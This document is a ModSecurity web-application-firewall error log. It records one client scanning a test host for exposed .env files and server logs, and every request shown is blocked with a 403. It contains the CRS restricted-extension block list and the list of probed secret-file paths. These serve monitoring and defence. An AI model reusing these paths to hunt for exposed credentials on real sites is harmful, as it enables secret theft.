[Thu Feb 26 01:03:09.412517 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUyAAAAAc&quot;]
[Thu Feb 26 01:03:09.429504 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rAAAAAY&quot;]
[Thu Feb 26 01:03:09.429982 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rAAAAAY&quot;]
[Thu Feb 26 01:03:09.430138 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/development.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rAAAAAY&quot;]
[Thu Feb 26 01:03:09.434718 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /magento/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUyQAAAAc&quot;]
[Thu Feb 26 01:03:09.434941 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUyQAAAAc&quot;]
[Thu Feb 26 01:03:09.435101 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magento/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUyQAAAAc&quot;]
[Thu Feb 26 01:03:09.461531 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rQAAAAY&quot;]
[Thu Feb 26 01:03:09.461737 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rQAAAAY&quot;]
[Thu Feb 26 01:03:09.461905 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logging/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rQAAAAY&quot;]
[Thu Feb 26 01:03:09.462191 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailinabox/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUygAAAAc&quot;]
[Thu Feb 26 01:03:09.462427 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUygAAAAc&quot;]
[Thu Feb 26 01:03:09.462585 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailinabox/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUygAAAAc&quot;]
[Thu Feb 26 01:03:09.489148 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailman/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUywAAAAc&quot;]
[Thu Feb 26 01:03:09.489370 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUywAAAAc&quot;]
[Thu Feb 26 01:03:09.489521 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailman/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUywAAAAc&quot;]
[Thu Feb 26 01:03:09.513073 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rwAAAAY&quot;]
[Thu Feb 26 01:03:09.513311 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rwAAAAY&quot;]
[Thu Feb 26 01:03:09.513488 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4rwAAAAY&quot;]
[Thu Feb 26 01:03:09.616857 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /logs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4sQAAAAY&quot;]
[Thu Feb 26 01:03:09.617093 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4sQAAAAY&quot;]
[Thu Feb 26 01:03:09.617261 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4sQAAAAY&quot;]
[Thu Feb 26 01:03:09.638210 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4sgAAAAY&quot;]
[Thu Feb 26 01:03:09.638701 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4sgAAAAY&quot;]
[Thu Feb 26 01:03:09.638873 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/access.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4sgAAAAY&quot;]
[Thu Feb 26 01:03:09.662764 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4swAAAAY&quot;]
[Thu Feb 26 01:03:09.663240 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4swAAAAY&quot;]
[Thu Feb 26 01:03:09.663395 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/app.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4swAAAAY&quot;]
[Thu Feb 26 01:03:09.692361 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tAAAAAY&quot;]
[Thu Feb 26 01:03:09.692839 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tAAAAAY&quot;]
[Thu Feb 26 01:03:09.692990 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4tAAAAAY&quot;]
